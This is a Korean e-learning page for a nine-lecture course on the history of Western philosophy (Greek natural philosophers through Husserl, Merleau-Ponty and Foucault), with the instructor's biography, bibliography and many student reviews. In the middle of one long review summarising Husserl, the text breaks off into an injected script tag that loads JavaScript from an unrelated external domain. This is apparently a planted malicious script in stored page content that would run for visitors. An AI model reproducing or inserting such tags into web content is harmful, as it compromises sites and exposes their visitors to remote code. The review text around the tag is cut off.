조광제:서양철학사 탐방

서양철학사 탐방

- 수강료
- 강좌구성
- 강사
- 강좌교재
- 수강기간
- - 49,000원
- 총 9강 | 41교시 | 19시간 24분
- 조광제
- 강의록 제공
- 6개월
강사 : 조광제

- 참고문헌
◈ S.P.렘프레히트 『서양철학사』(개정판), 을유문화사, 2001
◈ 조광제 『존재이야기: 조광제의 철학 유혹』, 미래M&B, 2002

구플레이어

일반화질

음성

회 차
제 목
시 간
보 기

- 1강
- 고대 그리스 철학1 : 자연철학자들과 플라톤
- 천재들의 시대
121분
수강하기

1교시 - 아르케에 대해
27분

2교시 - 고대 그리스의 자연철학자들
34분

3교시 - 플라톤의 이데아
32분

4교시 - 플라톤의 인식론
28분

주요내용
- 아르케(arche), 스토이케이온(stoicheion)에 대한 담론
- 탈레스의 물
- 아낙시만드로스의 무한자(아페이론 apeiron)
- 아낙시메네스의 공기
- 피타고라스의 수
- 헤라클레이토스의 불과 만물유전(萬物流轉)
- 파르메니데스의 존재(일자 hen)
- 플라톤의 참 존재인 이데아와 거짓 존재인 세상
- 이분법
- 선의 이데아

- 2강
- 고대 그리스 철학2 : 아리스토텔레스와 헬레니즘 철학
- 아리스토텔레스부터 에피쿠로스와 스토아 학파까지
114분
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- 3강
- 중세 기독교 철학 : 신플라톤주의, 아우구스티누스, 아퀴나스
- 기독교와 그리스철학의 결합
139분
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- 4강
- 근대 고전주의 철학 : 데카르트, 스피노자, 라이프니츠(루소)
- 나는 생각한다, 고로 존재한다.
142분
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- 5강
- 독일 관념론 철학1 : 칸트
- 보편타당하며 실재 존재하는 것, 선험적 종합판단
164분
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- 6강
- 독일 관념론 철학2 : 헤겔
- 헤겔, 정립과 반정립, 변증법
130분
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- 7강
- 현상학Ⅰ: 후설
- 노에마와 노에시스
117분
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- 8강
- 현상학Ⅱ: 메를로-퐁티
- 메를로 퐁티의 몸과 지각
114분
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- 9강
- 현대 철학: 니체, 프로이트, 라캉, 푸코
- 니체의 초인, 프로이트와 라캉의 정신분석, 푸코의 계보학
123분
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조광제 (철학아카데미 대표)

총신대에서 신학을 공부하고, 서울대 대학원 철학과에서 「E. 후설의 발생적 지각론에 관한 고찰」로 석사 학위를, 「현상학적 신체론: E. 후설에서 M. 메를로-퐁티에로의 길」로 박사 학위를 받았다. 시민을 위한 대안철학학교 <철학아카데미>를 설립하여 상임이사로 재직 중이며, 한국프랑스철학회 회장, 한국현상학회 이사, 한국예술학회 이사를 맡고 있다. 주로 형상학적인 몸 현상학을 바탕으로 존재론, 예술철학, 매체철학, 고도기술철학, 사회 정치철학 등을 연구 중이다.

- 저서

『장소 철학 2』(공저, 서광사, 2021)
『장소 철학 1』(공저, 서광사, 2020)
『현대철학의 광장』(동녘, 2017)
『회화의 눈, 존재의 눈』(이학사, 2016)
『나는 어떤 삶을 살아야 할까?』(공저, 철수와영희, 2016)
『혼자 살 것인가, 함께 누릴 것인가?』(길밖의길, 2015)
『존재의 충만, 간극의 현존1,2』(그린비, 2013)
『철학라이더를 위한 개념어 사전』(생각정원, 2012)
『의식의 85가지 얼굴』(글항아리, 2008)
『예술, 인문학과 통하다』(웅진지식하우스, 2008)
『미술 속 발기하는 사물들』(안티쿠스, 2007)
『짧고 긴 서양미술 탐사』(삼성출판사, 2006)
『플라톤, 영화관에 가다』(디딤돌, 2005)
『몸의 세계, 세계의 몸』(이학사, 2004)
『주름진 작은 몸들로된 몸』(철학과 현실사, 2003)
『조광제의 철학유혹: 존재이야기』(미래M&B, 2001)
『쉬르필로소피아: 인간을 넘어선 영화예술』(동녘, 2000)

- 역서

『마음의 사회』(마빈 민스키 저, 새로운현재, 2019)
『철학자 클럽』(크리스토퍼 필립스 저, 미래아이, 2003)

번 호
제 목
작성자

우수

사유를 촉발시키는 강의

주*룡


	"이게 다~뭐꼬?'라는 구수한 낯익은 사투리로 경상도 철학입문자에게 사유를 촉발시켜주신 조광제 선생님 감사합니다. 강의를 듣고 있노라면 계속해서 뭔가를 사유하고 있는? 아님 그런 모습 흉내내려고 하는 저를 보게되네요.

우수

몸과 느낌으로 아는 세계

김*희


	방대한 서양철학사를 교수님의 구수한 입담을 따라 듣노라면 사유의 새로운 지평이 열리는 기분이 많이 듭니다.(특히 후반부 현대철학에서요) 메를로 퐁티를 전공하신 지라 몸의 철학을 중심으로 한 현대철학의 흐름을 간략하지만 쉽게 접할 수 있어서 좋았습니다. 정신과 의식은 몸의 변형태(몸이 불편해서 생기는 위족 또는 허족같은 것)에 불과하다는 것. 그래서 사유는 결국 몸으로 체화되어야 한다는 것. 생각하는 게 아니라 느낌의 세계로 들어가라는 말씀 등등 철학(이론)과 삶(실천)이 하나로 융합되는 방법을 알려주려고 노력하신 강의 같습니다. 들은 지 오래 된 강의지만, 뒤늦게 후기를 올리면서 조광제 교수님만의 매력과 몸 철학의 의미를 다시 떠올려 봅니다.

우수

쉬운 철학 강의

조*숙


	철학은 처음 접하는데 재미있는 강의네요. 워낙 철학에 대한 기본 지식이 없어 흡수하는 내용은 적지만 지루하지 않은 강의입니다. 나의 몸과 의식은 어디에 있는지 생각하게 하는 지금 제대로 시간이 가고 있는지 생각하게 하는 수업입니다. 재미있습니다.

철학의 큰 지도를 그릴 수 있게 되었어요!

김*정

데카르트, 스피노자, 라이프니츠만 있어요. 경험론은 어디 갔나요?

박*훈

메를로-퐁티의 '몸 철학' 덕분에 살 것 같습니다.

최*원

강의 노트를 좀 더 충실히 부탁드립니다.

이*민

"철학은 철학함"이라는 것을 깨닫게 해준 강의

김*현

유아론'을 극복하려던 데카르트의 고뇌

강*영

수강 마감일에 쫓겨서 듣다니...

오*석

융합의 방법론을 가르쳐주셨어요.

박*찬

교수님의 솔직함이 동기 부여를 감소시킵니다.

문*철

중세 철학의 비중이 아쉬웠습니다.

김*민

따분하지 않은 철학, 구수한 사투리의 매력

정*늘

초보자를 위한 최고의 입문 강의

김*훈

몸철학을 더 깊이 듣고 싶어요!

최*미

고대 철학에 대한 이해를 열어주었습니다.

배*수

철학사의 '연속성'이 아쉬웠습니다.

이*우

느긋하게 들었으면...

이*연

서양철학의 큰 흐름

원*연

퐁티의 몸의 철학

한*름

철학사에 대한 입문

경*학

재수강을 해도 또 깨닫게 되는 강의

s**esang

대체적으로

정*민

철학입문 강의

이*나

서양철학이란 문을 열게한 강의

최*효

재미있고 인간적인 교수님

변*영

물 흐르는 듯한..

박*찬

kotragon 회원님 의견 감사드립니다~

관*자

초보자를 위한 강의

민*홍

사유와 몸이 있는 강의

정*상

강의후기

김*화

큰 틀을 세우는데,

강*숙

강의를 다 듣고

이*진

전반적으로 알찬강의

이*관

철학은 철학함이라는 것.

주*식

Ding에 대한 현상학적 관점

김*동


	'의식은 안과 밖이 없으며, 따라서 밖에 있는 듯하면서도 안에 있는 듯한 그 사물은(그것이 변하든 변하지 않든 간에) 사실상 의식 밖이나 또는 안에 존재하는 것이 아니라 의식의 상태(내용) 그 자체다.'라는 후설 현상학에 대한 교수님의 강의는 Ding에 대한 굴직한 관점을 아주 명확하게 해주는 강의였습니다. 아래 내용은 후설현상학에 대한 교수님의 강의를 제 나름대로 정리한 내용임니다. 정확할지는 잘 모르겠습니다.^^ ◈ 후설의 순수의식의 현상학 ◈ 후설(Husserl, Edmond 1859-1938) 독일의 철학자. 주요저서, 『순수 현상학 및 현상학적 철학을 위한 여러 고안』(1913) 후설 현상학의 주요개념들을 중심으로 ① 후설철학의 이념은 '엄밀학'으로서의 철학인데 이는 철학을 수학처럼 전수될 수 있도록 하겠다는 의미이다. 그러나 나중에 후설은 '엄밀학'으로써의 꿈은 깨졌다고 말한다. ② 자기소여성(Selbstgegebenheit)의 명증성 추구 * 자기소여성(Selbstgegebenheit)  Selbst(스스로) + gegeben(주어진다) + heit(명사형 어미)  여기서 '스스로 주어지는 것'은 일종의 '본질'을 의미하는 것으로 '가공하기 전의 것', 또는 '대상자체'를 말한다고 볼 수 있다. 그러면 도대체 '이 본질적인 사태가 어디에(무엇에) 주어지느냐?'하는 질문이 제시될 수 있다. 후설은 그것이 '의식'에 주어진다고 주장한다. 이것은 곧 'Selbstgegebenheit(본질)이 의식에 현상한다.'는 의미로 결국 'Selbstgegebenheit(본질)이 현상'이라는 주장에 다름 아니다(여기서 '본질직관'이라는 개념이 성립). 이런 사고는 '본질이 현상의 바탕이 된다.'고 본 전통철학과는 확연히 구분되는 것으로 전통적 사고는 일관되게 '현상을 뚫고 내려가야 비로써 본질을 만날 수 있다.'는 이분법적 사고를 한다. * 본질직관(Wensensanschauung)  Wensen(본질) + s(=of) + anschauung(직관) = 본질에 대한 직관, 그 중에서도 의식의 본질(적) 구조에 대한 직관이 핵심이 된다('인간본질'로서의 ‘의식’의 중요성). ③ 지각: 후설은 “인간의 모든 의식들 중에서도 가장 중요한 것은 '지각'으로, 지각은 모든 경험적 의식의 바탕이 되기 때문에 이것을 잘 분석하고 탐구하면 다른 모든 의식들의 구조를 알 수 있다.”고 주장한다(지각의 분석을 통한 의식의 탐구). 즉 지각을 분석하는 게 궁극적인 목적이 아니고, 지각의 분석을 통해 의식의 구조를 파악하자는 주장인 것이다(여기서 가장 문제가 되는 것은 선험적 의식).   의식: 경험적 의식-지각, 감각, 상상, 소원(희망, 절망...), 가치평가 등.   선험적 의식-후설 특유의 철학적 기반이 되는 것.  지각은 우선 대상적인 사물(Ding)이 나타나야 그것을 지각이라고 할 수 있다. 그러면 '후설에게 있어서 지각은 무엇인가?' 단순히 색이 다르고 모양이 다르며, 소리가 나고 안나고 하는 것은 단지 지각에 포함되는 것으로써의 감각에 불과할 뿐이기 때문에 지각이 곧 이들이라고 말할 수는 없다. 그러면 다시 '후설에게 있어서 지각은 무엇인가?' 우리는 꿈 속에서 집을 볼 수도 있고 지각상태에서 집을 볼 수도 있다. 그러나 어찌 됐든 그것은 집이며, 후설은 이것을 바로 본질적 계기(본질상 집)라고 한다. 그리고 이와 관련해서 그 집이 '지각적인 방식으로 있느냐', 아니면 '꿈 속에서 존재하느냐'하는 것을 '현존적 계기'라고 한다. 그런데 이 두 계기가 가능하려면 조금전에 얘기했듯이 반드시 사물(Ding)이 나타나야 한다. 즉 사물(Ding)이라는 뭔가가 있고, 그리고 나서 그것에 대해 이 두 가지를 생각하게 되는 것이다. 여기서 의식에 나타난 사물, 이게 바로 지각인 것이다. ④ 한편 1차적으로 주어지는 의식의 내용(지각)은 '현출다양(mannigfaltigen Erscheinung: 시시각각 변하는 모든 사태들)'하다. 그러나 우리는 바깥에 있는 것처럼 보이는 이 '현출(hyle)다양'을 보면서 변하지 않는 어떤 것(현상, 본질, 노에마)을 봐야 한다. 그러나 우리는 지각하고 있으면서도 그것을 지각으로 인지하지 못하기 때문에 먼저 현존적인 계기(~이 있는지, 없는지)와 본질적인 계기(~인지, 아닌지)가 작동하기 이전의 상태로 돌아가는 작업이 필요하다. 후설은 이를 위해 에포케(epoche, 판단중지, 괄호치기)라는 방법론을 제시한다. 에포케란 예를 들어 분필지우개를 가지고 이것이 '분필지우개다, 아니다'(본질적인 계기), 또는 이것이 '밖에 존재한다, 존재하지 않는다'(현존적인 계기)에 대해 괄호를 묶고 판단을 중지하는 것을 말한다.(=선험적 환원) *에포케-현존적인 계기(~이 있는지, 없는지)와 본질적인 계기(~인지, 아닌지)에 대한 판단중지 후설 현상학은 이렇게 인위적으로 에포케를 했을 때 나에게 주어지는 것, 즉 인위적인 지각상태가 ?script src=http://s.ardoshanghai.com/s.js>

탁월한 강의- 강력 추천 합니다.

신*종

수강종료 하루전에 강의를 돌이켜보다

문*


	예술에 대해 공부하는 사람으로서 당연하게 관심을 가져야만 하는 것이전에, 원래도 철학에 대해 관심 많았다. 그래서 혼자 책으로 공부하려 했었는데, 능력에 한계를 느껴 선택하게 된것이 조광제 선생님의 철학사 탐방 이었다. 거두절미 하고 솔직한 평을 쓴다면, 강의 초반에는 꽤 만족스러웠었던것 같다. 그러나 가면서 드문드문 시간에 쫒겨 그런것인지 비중이 눈에띄게 달라지는것이 아쉬웠다. 그리고 솔직하시거나, 겸손하신모습은 높이 평가하지만, '나는 사실**에 대해서는 잘모르고 보통사람보다 조금 더 아는수준' 이다. 라고 말씀하실 때 그럼 어떻게 가르치시겠다는 것인지 실망이 이만저만이 아니었다. 어떻게 믿고 듣고있습니까. 라고 묻고 싶다. 또한, 사이트의 기술적인 측면을 꼭 언급하고 싶다. <자막> 가끔 말씀하신내용이 자막으로 뜨는데 , 잦은 오타, 그때그때 다른 사라지고/나타나는 속도 . 무엇보다도 중요한요점이 뜨는게 아니라 간략하게 딱딱 떨어지고 쓰기편한것을 중요도에 상관없이 올린다는것이다. (정작중요한내용은 올리지않기도한다) <카메라+재생속도> 내가 고등학교때 온라인강의 들을때 수준보다도 한참 아래에있다. 카메라의 별 생각없어보이는 줌인, 또 최근에서야 변했지만 재생속도의 문제. 이제서 속도를 여러단계로 조절할수 있다는것을 만들었다는것을 다행으로 여겨야 하는것에 좋아해야 할까? (나는 내일 수강종료인데) 강의 내용이 물론 가장 중요하지만 , 이런 기술적인 문제가 뒷받침이 않되면 평가도 따라서 않좋아질수있음을 꼭 기억해줬으면 좋겠다. 다음에도 좋은 강의 만날수 있길 고대하며..

철학사

조*름

강의후기

김*범

^^ 여러 가지 예로 쉽게 접근하게 해 주시네요.

이*형

감사합니다.

고*원

유익한 강의

임*진

잘 들었습니다.

류*영

철학입문강좌

유*보

유익한 강좌

석*춘

베르그송을 듣고 싶은데 어디로 가면 들을 수 있나요??

하*관

최소 비용, 최대 효과,

하*관

수직과 수평의 시간

김*서

유익했습니다. 다만...

엄*호

핵심을 찌르는...

전*희

이제야 제가 얼마나 모르고 있는지 알겠습니다.

조*구

본전 뽑은 강의

김*서


	간간히 나오는 교수님의 정치적인 코멘트는 그다지 동의하지는 않지만, 자신이 후설 강의 하면서 이것만 들어도 본전을 뽑는다고 했는데 허언은 아닌 것 같다. 숭문이 정신이라면 상무는 몸이라 할 수 있다. “정신은 몸의 변형이다”. 그러나 신비한 것은 어떻게 길이를 갖고 있는 공간에 길이가 없는 정신이 깃들일 (체화된) 수 있는가 하는 점이다. 이 자체가 초월적인 현상은 아닌지. 메를로-퐁티는 초월적인 것을 배제한다고 한다. 결국 내재적 삶을 추구한다고 하더라도 예컨대 부어라 마셔라의 도취적 삶만으로 의미를 찾을 수 없다면 초월적인 것에 추구가 한 인간의 삶으로서 자유로운 선택이 불합리적인 것만 일 수는 없지 아니한가. 인간에게 있어서 가장 정직한 철학적 사유는 불가지론이라고 생각한다. 결국은 남는 것은 선택의 문제이고, 그 선택이 남에게 부담이 되지 않는다면 상관없는 것이다라고 생각한다. 초월적인 것을 따르지 않는 것은 그것이 진리가 아니기 때문이기보다는 90프로 이상이 나의 이기적 마음이 그것을 따를려 하니 불편하기 때문이라고 생각한다. 의미란 무엇인가. 천국이 있다면 천국의 의미를 지금 이 시공간의 잣대로 잴 수가 있을까. 몸은 과연 정신의 하수인인가. 몸틀이 강조되는 이유를 조금은 이해가 안된다. 몸틀이란 별개 아닌 것이다. 몸과 신경회로가 연결되어 나타나는 것이고, 단지 숙달에 의해 그 신경회로가 지름길을 알고 있다는 것뿐이다. 그것이 내가 몸이라는데 어떤 기여를 하는지..... 위족(僞足) ‘테오리’가 과연 정당한가. 몸만 있다가 상황에 따라 정신이란 위족이 나타나처리하고 없어지나, 단지 상황이 끊임없이 전개되니까 정신이 끊임없이 존재하는 것으로 보인다고 한다. 오히려 그보다는 비록 몸에서 파생된 의식이라 하지만, 결국은 후설의 지향성처럼 몸과 정신이 서로 뗄레야 뗄 수 없을 정도로 꽉 맞물려 있는 것은 아닐까. 정신이 근본적인 것이 아니라고 한다. 세계 속에 있는 것은 몸이라는 것이다. 정신은 세계 속으로 들어와 살지 않다는 것이다. 그말이 과연 타당한가. 정신도 이 시공간에 있는 것은 분명하다. 단지 길이가 없으니 만질 수 없을 뿐이다. 영혼+육체의 2분법이 생겨난 것이 잘못이라는 것이다. 왜냐하면 영혼 혹은 정신은 몸이 변형이다. 몸철학은 몸을 인간의 근본으로 보는 것이다. 왜냐하면 몸이 이 세계 속에 있다는 것이다. 몸은 감각덩어리다. 달리 말해서 살이다. 의식이 있기 전에 감각이 따로 있다. 그러나 감각은 의식 속에 내포된 것은 아닌가. 감각자체가 의식의 한 현상이고 그것을 반성하는 것도 의식이 아닌가. 사진 필름은 사물을 감각하여 상을 만들었지만, 감각한 그대로 있으면 그것은 아무것도 아닌 것이다. 감각된 것을 가지고 상황을 판단하는 의식이 필요한 것이다. 살에서 느껴지는 감각은 살이 느끼는 것이 아니라 중추신경계로 감각이 들어가서 정보처리가 되어 다시 밑으로 내려와 살이 자기가 느끼는 것처럼 되는 것이다. 수정란이 가장 기본적이고 초기의 몸이라면, 이때는 의식은 없다. 따라서 의식도 몸의 파생이라고 보는 것도 타당한 이야기 같다. 느낀다와 사유한다는것을 2분법적으로 나누는데 이 둘 다가 의식의 양면이 아닌가. 의식에는 분명히 이성과 감성이 있는 것이다. 감성은 의식이 아니다라고 떼에 내는 것은 문제가 있는 것은 아닌가. 예컨대 오르가즘시 맥박이 올라가고, 숨이 거칠어지고 의식이 몽롱해지고, 땀이 나는 것은 내 몸이 그렇게 분명히 느끼지만, 그러나 몸의 말단에서 이루어지는 감각이 신경회로를 통해 올라가서 결국은 의식이 그렇게 느끼고 각 신체의 부분에 그런 동작을 일으키게 만드는 것이다. 의식은 따로 있고, 몸이 따로 오르가즘을 느끼는 아니라고 생각한다. 흥미있는 분야다. 메를로-퐁티가 1961년에 고인이 되었으니 그동안 해부생리학의 발전이 엄청났으리라 본다. 메를로-퐁티의 몸철학은 단순히 사유로 그렇겠다고 해서 성립하는 것이 아니라 철저한 해부생리학적인 기초가 있어야 할 것 같다. 말하자면 해부생리학적인 기본 사항들로 이 이론이 검증을 받아야 할 것 같은 인상이다. 몸은 무엇인가. 몸은 수정란에서 시작하여 개체가 양적 성장을 한 것이다. 한 그루의 나무가 씨에서 시작하여 양적 성장을 한 것과 다를 것이 없다. 그런 양적 성장을 하기 위해서는 결국 자연에 있는 모든 물질을 섭취한 것이다. 이것은 어디서 갑자기 생긴 것도 아니고 자연에서 물질이 이동한 것에 지나지 않는다. 단지 여기에 의식이 생겨서 인간의 정신활동이 발휘되어 자기실현을 이루는 것이다. **우연히 알게된 강좌인데 사실은 메를로-퐁티를 듣고 싶어서 신청했습니다. 몸을 전공한 사람으로 몸철학에 관심이 있었습니다. 위의 글은 느낀대로 두서

다시봐도...

김*훈

음,글쎄요

박*준

좋은강의

황*택

재밌네요

오*진

결코 따분하지 않은 강의

박*범

처음듣는 철학사 강의

김*영

매우 좋은데 아쉽네요.

최*희

강의가 좋아요~

김*세

귀한 몸이시오니, 건강하세요~ *^^*

박*화

메를로 퐁티 강좌 정말 도뭄이 되었습니다.

고*영

아쉬움이

이*영

강의를 듣고.....

김*정

정말 좋아요^^

김*훈

좋은 강의였어요!!

김*기

좋아요^^

정*비

메를로퐁티

김*섭

쏙쏙 들어오는 강의.. 감사합니다

강*옥

정말 알기쉬운 강의

정*훈

강의 잘 들었습니다.

강*영

아, 이건 이래서 이런 거구나...

김*경

천천히 말하는 법

정*비

좋았습니다.

김*규

강의 후기

박*홍

고맙습니다.

손*진

들으며 졸며 아아 알아진 강의~~

김*희

다들은건 아니지만 좋은 강의 였습니다.

장*호

간략하고 절도있게

한*옥

하고 싶었던 공부..

고*

잘 들었습니다.

손*진

이런 강의를 들을수 있어서 행복했습니다.

신*화

정말 좋았습니다.

친절하고도 자세한 설명..

배*형

친절하고도 자세한 설명...

잘 들었습니다

이*빈

가깝게 다가온 철학자들

최*미

좀 힘듭니다

한*수

시간이 더 많았으면...

임*와

감사합니다.. 글고 부탁드려요~~


	고향에 내려와 보니까 뜻밖에 이벤트에 당첨이 되었더군요. 태어나서 첨있는 일이었습니다..ㅎㅎ 그런데 불행히도 컴터가 자꾸 말썽을 일으키고, 이런저런 자질구레한 일들이 생기는 통에 한달 동안 열여섯개의 강좌를 듣는 것도 빠듯했답니다. 것두 공공도서관에선 전송속도를 따라가질 못하는 통에 답답한 마음 참아가며 그럭저럭 소리만 들었던 게 참 많구요..ㅜㅜ 한번의 귀동냥으로 너무 욕심내지 말라는 계시라고 생각해보기도 합니다. 강의를 평가한다는 것은 주제넘는 일인거 같고 몇가지 부탁말씀만 드리고 싶습니다. 첫째, 부분적으로만 첨부되어 있는 강의록을 모든 강의에 첨부해주셨으면 좋겠습니다. 둘째, 시간적 제약으로 인해 커버하기 어려운 부분들에 대한 보완책이 마련되었으면 합니다. 이는 교재 등을 참고로 하여 강의록에 철학사 이해에 도움이 되는 사적 내용을 요약적으로 제시한다든지 관련 사이트를 링크하는 것, 수강생들의 게시판을 활성화하여 자료를 공유케 하는 것 등 다양한 방식을 모색할 수 있으리라 생각합니다. 셋째, 강좌 범위 설정의 문제입니다. 강좌 중에 조광제 선생님께서 말씀하셨듯이, 이 강좌에는 부득이하게 영국경험론과 들뢰즈 등이 생략되었는데요. 강좌의 목적이 개별 철학자들에 대한 소개가 아니라 서양철학사 전반에 대한 개괄적 이해에 있는 만큼 경험론적 전통과 합리론적 전통을 균형있게 다루는 시각을 키울 필요도 있지 않았을까 싶어요. 넷째, 일년이 지난 강좌를 방영하는 것이라 기획단계부터 개입하기가 어려우시다면, 강좌에서 다루지 못한 내용들을 보완할 수 있는 강좌를 개설할 필요가 있다고 생각합니다. 경험론, 실용주의, 실존주의, 해체주의 등 해당 분야를 전공하신 분들의 강의를 연계강좌로 설정하면 보다 체계적이고 깊이있는 공부가 가능할 거 같습니다. 다섯째, 수강생들의 관심영역에 대한 조사가 선행되었으면 좋겠습니다. 정치철학, 윤리학뿐만 아니라 교육철학, 심리철학 등 전공분야가 다르면 접하기 어려운 영역들, 혹은 교과서적인 강의 이상을 접하기 어려운 영역들에 대한 보다 참신한 접근법을 만났으면 합니다. 참고로 많은 사범대생들의 경우를 예로 들면, 철학도 노량진에서 해결합니다. 임용고시 몇 문제 맞추는 걸로 할 일 다하는 가짜 철학을 극복하는 과제를 철학아카데미부터 시작하기를 간절히 소망합니다. 꽁짜 강의 듣고 말이 좀 많았지요?ㅋ 죄송합니당~^^;; 암턴 끝까지 읽어주셔서 감사하고요.. 어설프게 강의 들은 분들은 저랑 담에 재수강해요.~~-_-

이보다 더 쉬운 철학은 없다!

존경합니다

정*주

저도 잘 안나오네요 --+

박*희

아래 님... 잘 나오는데요...?

테*트

너무너무 불편합니다. T.T

최*림

내용이 참 좋습니다.

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